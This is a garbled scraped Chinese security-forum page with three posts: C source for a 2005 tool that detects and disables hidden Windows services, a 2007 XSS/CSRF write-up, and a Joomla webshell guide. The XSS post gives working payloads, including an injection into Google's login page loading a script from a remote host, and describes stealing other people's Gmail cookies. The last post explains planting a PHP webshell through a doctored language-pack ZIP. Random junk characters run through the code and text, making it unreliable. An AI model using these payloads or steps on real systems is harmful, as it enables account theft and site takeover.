mp.hive,在C盘下不可有同名文件,否则会发生Dump错误。现在的问题是如何对Hive格式文件进行处理,在这一点上必须感谢Petter Nordahl-Hagen所写的NT Registry Hive access library,它是The Offline NT Password Editor的一部分。本人的实现很大程度上就是参照他的程序,然而这个库工作在Linux环境,但是它向VC编译器移植的工作量是极少的,只需稍加修改。1.将 #include <unistd.h> 去掉2.将程序中三处的#define D_OFFS(o) ( (void *)&amp;(key->o)-(void *)hdesc->buffer-vofs )     改为  #define D_OFFS(o) ( (int *)&amp;(key->o)-(int *)hdesc->buffer-vofs )因为在VC中无法打印void * 类型,只得改为int * 。3.将程序中唯一的一处使用snprintf函数该为_snprintf,即snprintf(path,maxlen,"(...)%s",tmp);改为_snprintf(ptth,maxlen,”(…)%s”,tmp);4.添加两个VC不支持的函数来使编译通过void bzero(void *s,int n){     memset(s,0,n);       }int strncasecmp(const char *s1, const char *s2, size_t n){return _stricmp(s1,s2);}    为了表示对Petter Nordahl-Hagen的尊重,我不再修改他的库文件ntreg.c和ntreg.h(除了以上移植的需要),而是将所有需要重写和添加的函数放到KHS.C文件中,这样可以使原来的库文件保持其独立性。    由于在Petter库中openHive函数使用open 和 read 函数来进行hive文件的读取,在VC条件下的read函数有一个问题,每当文件中存在一个0x1a的二进制数值时,read函数就会在那儿终止,这样就会导致hive文件无法完全导入。所以就使用了Windows API重写openHive,命名为My_openHive。相应的还重写了closeHive,writeHive并加上了前缀My_。    随后GetPatterns函数将使用RegEnumKey枚举的服务键值名称保存在pattern的全局变量指针中,为以后的匹配作准备。ShowHideService函数是由nk_ls函数改写的,将由Hive文件导出的buffer中的服务名称与pattern[I]作比较,这个比较过程使用CompareHive函数。若比较结果为相同,CompareHive会将pattern[I]置为NULL,以提高匹配速度,或许有更好的匹配算法,但在这个小程序中也不使用了。若结果不同,则说明该服务是隐藏的,显示出该隐藏服务的名称,文件路径(ShowPathImage是由cat_vk改写的),启动类型和服务类型,并将该隐藏服务的启动类型改为SERVICE_DISABLED。如果存在隐藏服务并且禁止了该隐藏服务(仅在buffer中的修改),通过调用My_writeHive将修改过的hive 的buffer保存在C:        mp2.hiv文件中,此时提供用户一个选择“是否要禁用隐藏服务”,默认的选择是“否”,如果用户确实想要禁用,可输入“Yes”或“Y",接着使用RestoreServiceInfo函数将C:        mp2.hiv文件导回原来的%SystemRoot%/System32/Config/System这个Hive文件中,这一步由系统自己来完成,值得一提的是Win32函数RegRestoreKey即使在dwFlags参数中使用了REG_FORCE_RESTORE (8) ,在第一次调用时往往会错误返回,一般在第二次调用就会成功,所以就使用了一个循环直到它成功后为止,并且调用它的进程需要有SE_RESTORE_NAME的权限。    至于让隐藏服务真正失去作用,仍然需要重新启动计算机之后。下面给出KHS.C的完整源代码:/* * KHS.cpp - Kill Hide Services v0.1* Copyright (c) 2005 linux2linux.** It takes notes from knlsc and FHS.* Thank you, Petter Nordahl-Hagen, for your "NT Registry Hive access library"** Freely distributable in source or binary for noncommercial purposes.*  * THIS SOFTWARE IS PROVIDED BY PETTER NORDAHL-HAGEN `AS IS'' AND* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE* ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF* SUCH DAMAGE.**/         #include "ntreg.h"#include <windows.h>char **pattern;int pattern_count;int nohideservice;int ischange;extern char *val_types[REG_MAX+1];struct hive *My_openHive(char *filename, int mode);void My_closeHive(struct hive *hdesc);int CompareHive(char *sample){      int i;      for(i = 0; i < pattern_count ; i++)      {                     if(pattern!=NULL)           {                 if( strcmp ( sample , pattern[ i ] ) == 0 )                 {                      free(pattern);                      pattern=NULL;                      return 1;                 }           }      }      return 0;}//Because read can't work well in windows.//while it read 0x1a from the opened file, the function read will stop there.//I don't know the reason why, it work well in linux envoriment.// read the dumped hive file to fill hive struct.// return the pointstruct hive *My_openHive(char *filename, int mode){  HANDLE hFile;  int szread;  struct hive *hdesc;  int vofs;  unsigned long pofs;  char *c;  struct hbin_page *p;  struct regf_header *hdr;  int verbose = (mode &amp; HMODE_VERBOSE);  CREATE(hdesc,struct hive,1);  hdesc->filename = str_dup(filename);  hdesc->state = 0;  hdesc->size = 0;  hdesc->buffer = NULL;    hFile = CreateFile(hdesc->filename,        GENERIC_READ,                 // open for reading     0,                            // do not share     NULL,                         // no security     OPEN_ALWAYS,                // existing file only     FILE_ATTRIBUTE_NORMAL,        // normal file     NULL);                                   // no attr. template   if (hFile == INVALID_HANDLE_VALUE)   {     printf("Could not open hive file.");  // process error       return 0;  }    /* Read the whole file */  hdesc->size = GetFileSize(hFile,  NULL);  ALLOC(hdesc->buffer,1,hdesc->size);  ReadFile(hFile, (void *)hdesc->buffer, hdesc->size, &amp;szread, NULL);  CloseHandle(hFile);  if (szread < hdesc->size) {    printf("Could not read file, got %d bytes while expecting %d% L7 ?1 U' A5 [  r+ |
",          szread, hdesc->size);    My_closeHive(hdesc);    return(NULL);  }  /* Now run through file, tallying all pages */  /* NOTE/KLUDGE: Assume first page starts at offset 0x1000 */   pofs = 0x1000;   hdr = (struct regf_header *)hdesc->buffer;   if (hdr->id != 0x66676572) {     printf("openHive(%s): File does not seem to be a registry hive!* c! W* h9 T4 k
",filename);     return(hdesc);   }   for (c = hdr->name; *c &amp;&amp; (c < hdr->name + 64); c += 2) putchar(*c);   hdesc->rootofs = hdr->ofs_rootkey + 0x1000;     while (pofs < hdesc->size) {#ifdef LOAD_DEBUG          if (verbose) hexdump(hdesc->buffer,pofs,pofs+0x20,1);#endif     p = (struct hbin_page *)(hdesc->buffer + pofs);     if (p->id != 0x6E696268) {       printf("Page at 0x%lx is not 'hbin', assuming file contains garbage at end",pofs);       break;     }     hdesc->pages++;#ifdef LOAD_DEBUG     if (verbose) printf("3 d9 @7 o$ i% @1 h% Y% A$ j8 f
###### Page at 0x%0lx has size 0x%0lx, next at 0x%0lx ######
; R' P6 @2 s/ J' l5 D% J",pofs,p->len_page,p->ofs_next);#endif     if (p->ofs_next == 0) {#ifdef LOAD_DEBUG       if (verbose) printf("openhive debug: bailing out.. pagesize zero!/ {+ @6 |' [* K- s
");#endif       return(hdesc);     }#if 0     if (p->len_page != p->ofs_next) {#ifdef LOAD_DEBUG       if (verbose) printf("openhive debug: len &amp; ofs not same. HASTA!0 C2 l8 ?, l; Q
");#endif       exit(0);     }#endif     vofs = pofs + 0x20; /* Skip page header */#if 1     while (vofs-pofs < p->ofs_next) {       vofs += parse_block(hdesc,vofs,verbose);     }#endif     pofs += p->ofs_next;   }  return(hdesc);}void My_closeHive(struct hive *hdesc){  FREE(hdesc->filename);  FREE(hdesc->buffer);  FREE(hdesc);}int My_writeHive(struct hive *hdesc){  HANDLE hFile;  DWORD dwBytesWritten;  hFile = CreateFile("C:\tmp2.hiv",      GENERIC_WRITE,                // open for writing     0,                            // do not share     NULL,                         // no security     CREATE_ALWAYS,                  // open or create     FILE_ATTRIBUTE_NORMAL,        // normal file     NULL);   if(hFile == INVALID_HANDLE_VALUE)  {      printf("Can't open dump file");           return 0;  }  WriteFile(hFile, hdesc->buffer, hdesc->size,&amp;dwBytesWritten, NULL);   if(dwBytesWritten != hdesc->size)  {        printf("WriteHive error* i( a! Z# i4 f; L
");  }  CloseHandle(hFile);  return 0;}void CleanPatterns(){      int i;      if(pattern!=NULL)      {           for(i = 0; i < pattern_count; i++)           {                 if(pattern!=NULL)                      free(pattern);           }           free(pattern);      }}void GetPatterns(){      HANDLE hService;      CHAR     achKey[MAX_PATH];      DWORD i;      DWORD retCode;      int Nohide = 1;      DWORD SubKeyNum = 0;      pattern_count = 0;      if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS,// security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {               printf("sorry %d$ p8 @; i# P3 r8 \* |2 i1 I7 _9 k
",GetLastError());           return;      }    RegQueryInfoKey( hService,        NULL,        NULL,        NULL,        &amp;SubKeyNum,        NULL,        NULL,        NULL,        NULL,        NULL,        NULL,        NULL);      //Before it don't work well , because i set the wrong premission of HKEY      //KEY_ALL_ACCESS is needed      if(SubKeyNum == 0)      {           printf("SubKey's Number is NULL, it's too strange.! v7 p( i) q* U: _
");           return;      }      pattern = malloc(sizeof(char *) * SubKeyNum );      for (i = 0, retCode = ERROR_SUCCESS; retCode == ERROR_SUCCESS; i++)     {         retCode = RegEnumKey(                 hService,      // handle to key to query                 i,  // index of subkey to query                 achKey,  // buffer for subkey name                 MAX_PATH   // size of subkey name buffer                 );                   if (retCode == (DWORD)ERROR_SUCCESS)         {          //What i add to get pattern Services Table.              pattern[ pattern_count ] = strdup ( achKey ) ;              pattern_count++;        }       }       CloseHandle(hService);}void ShowPathImage(struct hive *hdesc, int nkofs, char *path){       void *data;  int len,i,type;  char string[SZ_MAX+1];  type = get_val_type(hdesc, nkofs, path);  if (type == -1) {    printf("No such value <%s>
) R: i7 ]9 N% w6 D",path);    return;  }  len = get_val_len(hdesc, nkofs, path);  if (!len) {    printf("Value <%s> has zero length3 T7 Q4 E) g* f# h; k) y& S' {
",path);    return;  }  data = (void *)get_val_data(hdesc, nkofs, path, 0);  if (!data) {    printf("Value <%s> references NULL-pointer (bad boy!)% l) G9 o1 l3 ^( Z4 v+ h  [
",path);    abort();    return;  }  switch (type) {  case REG_SZ:  case REG_EXPAND_SZ:  case REG_MULTI_SZ:    cheap_uni2ascii(data,string,len);    for (i = 0; i < (len>>1)-1; i++) {      if (string == 0) string = '$ [# ~' g! S3 [: d. z8 Y4 b+ d
';      if (type == REG_SZ) break;    }    puts(string);    break;  case REG_DWORD:    printf("0x%08x",*(unsigned short *)data);    break;  default:    printf("Don't know how to handle type yet!
" `" K7 \: i1 d/ |6 w$ H");  case REG_BINARY:    hexdump((char *)data, 0, len, 1);  }}void EnablePriv(LPCTSTR lpName){      HANDLE hToken;      LUID sedebugnameValue;      TOKEN_PRIVILEGES tkp;            if ( ! OpenProcessToken( GetCurrentProcess(),           TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken ) )      {    printf("open process error6 H# P: [( M# Y  p8 y; f9 w
");           return;      }      if ( ! LookupPrivilegeValue( NULL, lpName  , &amp;sedebugnameValue ) ){                 printf("can't find privilege error  L- ~, C7 N; K9 n0 ~+ R
");           CloseHandle( hToken );           return;      }      tkp.PrivilegeCount = 1;      tkp.Privileges[0].Luid = sedebugnameValue;      tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;      if ( ! AdjustTokenPrivileges( hToken, FALSE, &amp;tkp, sizeof (tkp), NULL, NULL ) )      {           printf("adjust error
- o: m/ Y7 f4 _. E: r* {");           CloseHandle( hToken );      }}int DumpServiceInfo(){      HKEY hService;      EnablePriv(SE_BACKUP_NAME);      if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS, // security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {    printf("can't get key handle
" i0 ]7 ~- B+ H4 b7 H");           return 0;      }      if(RegSaveKey(hService,"C:\tmp.hiv",NULL) != ERROR_SUCCESS)      {               printf("Can't dump Service info
% r3 k! Y; T) ?% {" w" M3 T");           CloseHandle(hService);           return 0;      }      CloseHandle(hService);      return 1;}void ShowHideService(struct hive *hdesc, char *path, int vofs, int type){  struct nk_key *key;  int nkofs;  struct ex_data ex;  int count = 0, countri = 0;  //wHAT I ADD  void *data;  int nkofs_cat;  int serviceno;        serviceno = 1;  nkofs = trav_path(hdesc, vofs, path, 0);  if(!nkofs) {    printf("nk_ls: Key <%s> not found
0 j3 p: w/ t4 o/ T, A7 j",path);    abort();    return;  }  nkofs += 4;  key = (struct nk_key *)(hdesc->buffer + nkofs);  if (key->id != 0x6b6e) {    printf("Error: Not a 'nk' node!
6 {, D0 d# a3 }( _: R) F");    debugit(hdesc->buffer,hdesc->size);  }     if (key->no_subkeys) {        while ((ex_next_n(hdesc, nkofs, &amp;count, &amp;countri, &amp;ex) > 0)) {             if(!CompareHive(ex.name) )             {                   nohideservice = 0;                   if(!(serviceno - 1))                        printf("Hide Service List:# [5 {) t: Q" Y' u3 y
");                    printf("2 B0 B9 S/ n( d% B: ]8 A* [
%d.------------------------------------------------------------
6 \) q& c4 ?- V3 x9 z0 C7 Z",serviceno++ );                   printf("Hide Service : %s
( V: f# R! [0 t", ex.name );                   nkofs_cat = trav_path(hdesc, vofs, ex.name, 0);                   printf("Image Path   : ");                   ShowPathImage(hdesc, nkofs_cat + 4, "ImagePath");                   data = (void *) get_val_data(hdesc, nkofs_cat + 4, "Start", 0 );                   if( data != NULL)                   {                           printf("Start Type   : ");                        switch(*(unsigned short *)data)                         {                        case 0:                              printf("SERVICE_BOOT_START");                              break;                        case 1:                              printf("SERVICE_SYSTEM_START");                              break;                        case 2:                              printf("SERVICE_AUTO_START");                              break;                        case 3:                              printf("SERVICE_DEMAND_START");                              break;                        case 4:                              printf("SERVICE_DISABLED");                              break;                        default:                              printf("UNKOWN START TYPE");                        }                                                //disable the service                                                if( *(unsigned short *)data != 4 )                        {                              printf("(Will be set to Disabled)");                              put_dword(hdesc, nkofs_cat + 4, "Start", 4);                              ischange = 1;                        }                                                 printf("
) V/ P& B$ A4 i, a$ O) g");                                           }                                      data = (void *) get_val_data(hdesc, nkofs_cat + 4, "Type", 0 );                   printf("Service Type : ");                   if( data != NULL)                   {                        if(*(unsigned short *)data &amp; 1)                             printf("SERVICE_KERNEL_DRIVER ");                                                      if(*(unsigned short *)data &amp; 2)                             printf("SERVICE_FILE_SYSTEM_DRIVER " );                                                  if(*(unsigned short *)data &amp; 8)                            printf("SERVICE_RECOGNIZER_DRIVER ");                                                    if(*(unsigned short *)data &amp; 16)                              printf("SERVICE_WIN32_OWN_PROCESS ");                                                   if(*(unsigned short *)data &amp; 32)                            printf("SERVICE_WIN32_SHARE_PROCESS ");                                                      if(*(unsigned short *)data &amp; 256)                            printf("SERVICE_INTERACTIVE_PROCESS ");                                                      printf("4 ^8 z  ?+ I6 B% n; H0 g4 Y% |
");                    }             }             FREE(ex.name);    }  }  if(nohideservice)        printf("There are no hide services.
7 ?  Q- t9 u- t& V2 u8 v- A");  else        printf("
6 m' U" E. X1 @" K7 c  e; jTotal Hide Services is %d; @0 ~& E/ }6 Z1 L& Y4 @: H7 y8 ]
  e" [7 l1 N$ a) B7 ]2 b; w& z$ Y
",serviceno - 1);}int RestoreServiceInfo(){      HKEY hService;      LONG tmp;      EnablePriv(SE_RESTORE_NAME);            if(RegOpenKeyEx(           HKEY_LOCAL_MACHINE,         // handle to open key           "SYSTEM\ControlSet001\Services", // subkey name           NULL,   // reserved           KEY_ALL_ACCESS,// security access mask           &amp;hService    // handle to open key           ) != ERROR_SUCCESS)      {               printf("Can't open Service key, p# o7 x. k/ w0 F
");           return 0;      }      //The first time to Restore always fail even you set the Force flag      //The second time will success.      for(;;)      {                     if((tmp = RegRestoreKey(hService,"C:\tmp2.hiv", 8 ) ) == ERROR_SUCCESS )           {                 break;           }      }      CloseHandle(hService);      return 1;}int main(int argc, char* argv[]){      struct hive *pHive;      char c;      nohideservice = 1;      ischange = 0;      printf("KHS - kill hide services 0.1 by linux2linux, 2005/5/26.  v6 G  f& C% R( ]
");      printf("Take notes from knlsc and FHS.                         : H7 z6 W( O0 c) j
/ u' |; }! J4 Q6 ^6 A
");             if(!DumpServiceInfo())           return 0;      pHive = My_openHive("C:\tmp.hiv",HMODE_RW);      if(pHive == NULL)      {           printf("Open Hive fail6 w$ j, {8 u% H0 I& m- R  ?. M) Y3 K
");           return 0;      }      GetPatterns();      ShowHideService(pHive,"",pHive->rootofs + 4 , 0);      CleanPatterns();      if(!nohideservice &amp;&amp; ischange )      {                 My_writeHive(pHive);                 printf("Do you want Disable the hide Services ( Yes / No )? [ No ]:");                 c = getchar();                 if( ( c == 'Y' )|| c == 'y')                 {                      if( RestoreServiceInfo() )                            printf("Success Restore; a7 a0 f) D6 f2 m( q. l
");                 }                 else                 {    printf("Quit without Restore.0 {5 v4 z0 K. x( A8 Y( k2 I
");                 }                 DeleteFile("C:\tmp2.hiv");      }      DeleteFile("C:\tmp.hiv");      My_closeHive(pHive);            return 0;}参考资源1.The Offline NT Password Editor 源程序 - Petter Nordahl-Hagenhttp://home.eunet.no/~pnordahl/ntpasswd/2.<<Windows NT/2000 Native API Reference>> - Gary Nebbett3.Knlsc, FHS, IceSword 使用说明 1 Y- X6 c( T) ], _: @# e/ d% ?

; P+ x9 O% ?6 `7 a9 ]8 c; ~! I, F! u1 S7 O- A6 d2 s
% o% L4 u$ h9 W5 H* j
& G+ r% H  c. c% L3 p# x. M
7 {, b$ @5 G; z5 c
' M8 Q- R& S2 u( E2 P! M; {

. ?& G5 g" S; j5 \8 a
4 x6 Z  q) [8 G7 N1 ^  c! i6 O3 y
4 Y& s: X- E9 M3 e4 M2 V1 Z. T: `$ j* V

/ l  R$ J2 i) U* l/ h3 p0 a
& }) V! Z  U  Q- y: `6 z; W1 |& X) f

5 T7 k: ~2 j$ I( l6 A
2 J+ j+ Z$ m$ _5 s9 o$ S' }
# o5 }" U% ]) k6 s8 P% a3 g5 b  f' g5 E! N- t  J' [$ k+ E

5 i1 {* H/ y7 q+ m6 m$ S& \公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

xss/csrf in penetration test
xss/csrf in penetration testauthor: superheidate: 2007-11-29team:http://www.ph4nt0m.orgblog:http://superhei.blogbus.com一.Owning Ha.ckers.org前段时间在Sirdarckcat和Kuza55一起"Owning Ha.ckers.org"中,就是利用xss等的攻击进行渗透[然后没有成功,但是里面的技术细节值得学习],具体技术细节请参考:1.Sirdarckcat的 blog:http://sirdarckcat.blogspot.com/2007/11/inside-history-of-hacking-rsnake-for.html2.rSnake的blog:http://ha.ckers.org/blog/20071104/owning-hackersorg-or-not/首先他们利用了以前rsnake用来测试xss的一个flash:http://ha.ckers.org/xss.swf [现在已经拒绝访问了],由于这个flash本身存在一个xss[Cross Site Flashing:请参考Stefano Di Paola的文档Testing Flash Applications],as2的代码like this:getURL("javascript:alert('xss')", "_self", "GET");stop();在"Flash Lite 2.x ActionScript 语言参考"里有这样的描叙http://livedocs.adobe.com/flashlite/2_cn/main/00000160.html:<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<getURL(url:String [, window:String [, method:String] ]) :Void.....method:String [可选] -- 用于发送变量的 GET 或 POST 方法。如果没有变量,则省略此参数。GET 方法将变量追加到 URL 的末尾,它用于发送少量的变量。POST 方法在单独的 HTTP 标头中发送变量,它用于发送大量的变量。<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<当我们指定第3个参数method:String 为get或者post,可以提交变量追加到url末尾,这个也就意味着getURL函数的url可以injection something :). 我们回到xss.swf 我们提交: xss.swf?a=0:0;eval(alert('xss'); as2里:getURL("javascript:alert('xss')?a=0:0;eval(alert('xss');", "_self", "GET");注意那个?和后面都加到了url的后面,Sirdarckcat使用js的一个3元条件a=0:0;巧妙的闭和了语句.demo: http://60.190.243.111/superhei/xss/xss.swf?a=0:0;eval(alert('xss2'));成功完成了xss.在Sirdarckcat的poc里使用的是:<iframe src="http://ha.ckers.org/xss.swf?a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;" name="....[playload]"></iframe>这里他们认为rSnake使用ff+noscript,所以使用上面pass noscript,当然现在noscript已经修补了这个bug.a=0:0;a/**/setter=eval;b/**/setter=atob;a=b=name;这个也就是eval(atob(window.name)).atob=decode base64这个又是他们的一个技巧,使用编码饶过一些检测 ..他的playload好象就是利用一个csrf发了一个blog? 具体没有去看wp的代码 :).在irc里我问过Sirdarckcat为什么他不用,得到cookie然后欺骗进后台,他说好象是后台可能禁止了他的ip登陆.在整个过程,Sirdarckcat和Kuza55利用了n个细节来达到目的,因为他们的目标也是一位xss的牛人,比如还先利用了css来取浏览器的访问历史,来判断目标是不是进过后台[利用css的目的是no script] 等等....二.Owning Some-Hacks's Gmail也是前段时间jx发现了google登陆口的一个xss: http://www.xfocus.net/articles/200711/957.html,在xf公布之前,我使用这个bug测试一下,结果我得到了国内很多搞安全的人的gmail的cookie :)xss点:https://www.google.com/accounts/ServiceLogin?service=mail&amp;rm=false&amp;continue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl<mpl=default<mplcache=2&amp;passive=truel#"></sc'+'ript><scr'+'ipt src="http://60.190.243.111/superhei/ieav/gm.js"></scr'+'ipt>';alert(document.getElementById("f").src);document.getElementById("f").style.width = 0;document.getElementById("f").style.height = 0;</script></body></html>我的playload放在远程的一个js里:http://60.190.243.111/superhei/ieav/gm.js那么怎么让目标访问呢,哈哈,这里幻影的maillist帮了我一个大忙,maillist简直都是我测试的理想场所 .首先我在maillist发了一个phpcms的漏洞公告,里面的内容就是一个link:http://60.190.243.111/superhei/ieav/phpcms.htm,这里phpcms.htm里有我发现的phpcms漏洞的简单分析[由于只是测试,我没有发很引诱人的东西,如ie0day什么的,分析也写的很简单],当然也有我上面构造的xss的代码.我们看看真正的playload:http://60.190.243.111/superhei/ieav/gm.js的代码:getURL("1 U2 C( h$ P- C# N+ }

& c& }" l. q8 U4 g( s* ~% L) ]  Y5 K6 k; s  Y: ~

) E. R9 m: T( V2 l9 x0 j7 s1 C4 y( k0 W
/ D( G0 L, b. m* K  ?' f

5 ]/ J  S5 @& O# e9 m9 p8 f: ~
+ o) Z0 `: m. g* }& {
" g; }, Y6 S, n1 F0 C1 b$ t( Z; R8 i* f) C/ q8 S1 Z/ s8 C
2 q) i1 i% M/ }! G
# R) F5 n3 T& e/ Z
& a. M* b7 d' F  L
# g$ g2 W8 H: b0 m( J6 L" ~/ B; \

7 |4 D* h- \: J; @4 c; @" {: m1 k, v6 V
3 U" O* ]& W- ~( s" i
* D" Y: H6 }) P" ?9 N7 N
. r& W3 R$ v# H7 P+ y. ~) G! p9 w1 q$ v5 f7 a8 u
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

joomla CMS所有版本后台取WebShell方法
后台有个专门更新插件的接口,只支持上传ZIP文件。
0 y) }/ O, e* J
下载了一个中文语言包ZIP格式的,解压出来如下:

) `6 {) [' v3 U' ?+ F0 {2 f; [
pkg_zh_CN.xml 代码如下:

2 w1 `9 i- j5 E4 t& I
<?xml version="1.0" encoding="UTF-8" ?>
, X  u: f3 C4 l8 G3 h; F4 w<!-- $Id: zh-CN.install.xml 216 2011-03-08 06:44:51Z tchyusuf $ -->
' q3 F" j% t9 L7 `0 t<extension type="package" version="1.6">% {) ]/ i) l6 D+ m
      <name>Simplified Chinese Language Pack</name>9 S* i* \$ z- R! ^( ?2 i
        <tag>zh-CN</tag>
3 C4 f+ X# Y- @. i; V      <packagename>zh-CN</packagename># w+ ], |, e! v0 Z0 q1 M* {
      <version>1.6.1</version>
, g2 |7 Y5 B9 `! r        <creationDate>2011-03-12</creationDate>- r7 P& V; o$ u- m) Q* o/ |
        <author>CHN Translation Team</author>
4 _3 i# Y) p1 X+ ^        <authorEmail>zhous1998@sohu.com</authorEmail>$ P9 \" a6 s- d5 |
        <authorUrl>www.joomla.cn</authorUrl>1 Q0 F6 C% Q' m9 r
        <copyright>Copyright (C) 2010 CHN Joomla Translation Team  

2 x, i) ?- t8 b9 |
(http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>
" S3 O( ^/ y( v7 V! e        <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>3 e5 i% l7 c7 h+ i
        <description>
) e6 D6 P7 N: Y( A& ^( n) `        </description>. J! A( O. B+ R8 n- K
  <files>
9 O* K- Q: ?- z$ m, B        <file type="language" client="site" id="zh-CN">site_zh-CN.zip</file>. R( O! F5 S- J8 e. }7 d
        <file type="language" client="admin" id="zh-CN">admin_zh-CN.zip</file>$ F  G( u9 a- o6 a! H- K
  </files>
6 C! t# n* K7 i- q4 D6 S# \; j) y- L3 a5 Y</extension>7 \! K) B% K: |, u; C3 E( e

9 g8 q0 \0 `* Z4 P/ d
升级或者更新插件读取XML里面的 site_zh-CN.zip 和 admin_zh-CN.zip. k: W! [- ]9 K  @1 `' ~6 Q
解压 admin_zh-CN.zip install.xml 里面的代码:

0 q& }3 S7 G9 P; W
install.xml:
. r0 T% v0 M9 K0 L8 s
<?xml version="1.0" encoding="utf-8"?>% `; `( S% G3 G# c
<install type="language" version="1.6" client="administrator" method="upgrade">+ D0 {, K2 o& v9 i# r
        <name>简体中文</name>/ j  u) G9 T3 ]1 f- A
        <tag>zh-CN</tag>
# B) m! S9 y+ a& }) d        <version>1.6.1</version>
1 G+ F% }; D$ ?( \        <creationDate>2011-03-08</creationDate>
* ^  G) w  v6 r3 N        <author>Derek Joe(zhous)</author>
0 d# y, m% N: ]3 l        <authorEmail>zhous1998@sohu.com</authorEmail>+ |5 a# N( c, E  d" ^! h) d
        <authorurl>www.joomla.cn</authorurl>
! T* t8 _/ U! x0 u        <copyright>Copyright (C) 2010 CHN Joomla Translation
- S  b' _( B7 `! _! Z. S3 e) T: a
(http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>) O2 |/ [/ P: m( Q9 u3 ^
        <license>GNU General Public License version 2 or later; see LICENSE.txt</license>7 ^5 V) W$ K: L1 ]0 \6 J
        <description>$ }9 n: Q8 q% U. f, a0 i( w, r% ?4 M
        </description>
$ w! r7 A) K& {' a
        <files>4 O, j! W; X7 \2 ]
                <filename>index.html</filename>
4 b- \/ C9 {3 `9 H$ \, P; S                <filename>zh-CN.com_admin.ini</filename>6 y6 K3 p# _  U. y! \/ Q
                <filename>zh-CN.com_admin.sys.ini</filename>7 w  U; _. ^4 r
                <filename>zh-CN.com_banners.ini</filename># J) ]" C) x3 U* ]
                <filename>zh-CN.com_banners.sys.ini</filename>
! g$ f& I: q; |( D- n9 G# q/ A  c                <filename>zh-CN.com_cache.ini</filename>
# E* i; G5 Y* V# n) [                <filename>zh-CN.com_cache.sys.ini</filename>
) R  T) f4 s* k5 u( e' @                <filename>zh-CN.com_categories.ini</filename>2 T, g1 x4 }* x9 z
                <filename>zh-CN.com_categories.sys.ini</filename>+ q. d& U! ?( `  O+ o
                <filename>zh-CN.com_checkin.ini</filename>
8 k) c1 x- a' g& ~                <filename>zh-CN.com_checkin.sys.ini</filename>1 w6 [& T9 j9 O8 S
                <filename>zh-CN.com_config.ini</filename>, Z, Q% B/ h( r4 L" g. W
                <filename>zh-CN.com_config.sys.ini</filename>
) V5 w( H2 A+ S( P4 ^" L                <filename>zh-CN.com_contact.ini</filename>, q: V# M# K0 I8 p, f( {, Q
                <filename>zh-CN.com_contact.sys.ini</filename>4 N; X# R; u0 e1 P
                <filename>zh-CN.com_content.ini</filename>
9 z7 d% ?& z( E" w/ J, P7 R                <filename>zh-CN.com_content.sys.ini</filename>
' s! @' M* s5 P' S% ~& u5 x                <filename>zh-CN.com_cpanel.ini</filename>
' ^% w7 z! c! j: A1 \. B6 S2 c# |
) W. c; _( E) Q! o* h  I在代码下面加上:

" c5 s: G4 U- A1 N
<filename>>xxxxxx.php</filename>

' B- g  V# S4 R$ @* p' h9 a& Z
然后再里面创建一个 xxxxxx.php 写上你的大马,打包记得一下要是ZIP文件,否则不能上传。

9 e6 S! I  h  a3 }1 h
替换掉原来的 admin_zh-CN.zip,然后再进行打包 site_zh-CN.zip 和 admin_zh-CN.zip。上传安装,你
$ P. E7 I; v  o- c/ I6 a# F8 U$ R; N
的 xxxxxx.php 会解压到目录:

% Q4 m! H+ _1 B) t% z2 A" z
administratorlanguagezh-CN
& t( r" N5 B* b% F' A
得到 WebShell 的地址:

6 k3 f9 o/ Z* p7 Z. i
http://www.sitedirsec.com/administrator/language/zh-CN/xxxxxx.php
/ H, n/ L9 t! i0 N: Q) d- E
& g9 R; M1 g$ H  j8 p- I
& j$ b$ B+ D0 R9 S2 ]% {+ d2 ?4 `) W
- b9 h, ]' _; q5 \

3 Y9 d. y4 _  n, O/ V2 w" q2 J" R" L! O4 t: t
  l5 B+ Z3 `/ k2 m
7 p$ v+ U9 J; N

; N5 I/ L! M6 K* d2 u7 [: H4 \
* f, B: n$ m4 \* p% e2 J, L5 H# N$ v

% o, }- U" x" _& {* i" i
. q% e* ^' H' h1 k4 A4 p# Q" L' B6 p/ {
- H9 C- M" q" z6 W0 H9 W: }

5 U% Z/ ^4 J8 n: r2 S( ~6 |  M- o+ b" b0 [7 u) ?2 @
" S) F" ~3 z6 c+ r
- m2 Z+ W* }/ ]# ?$ R& g, N
公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表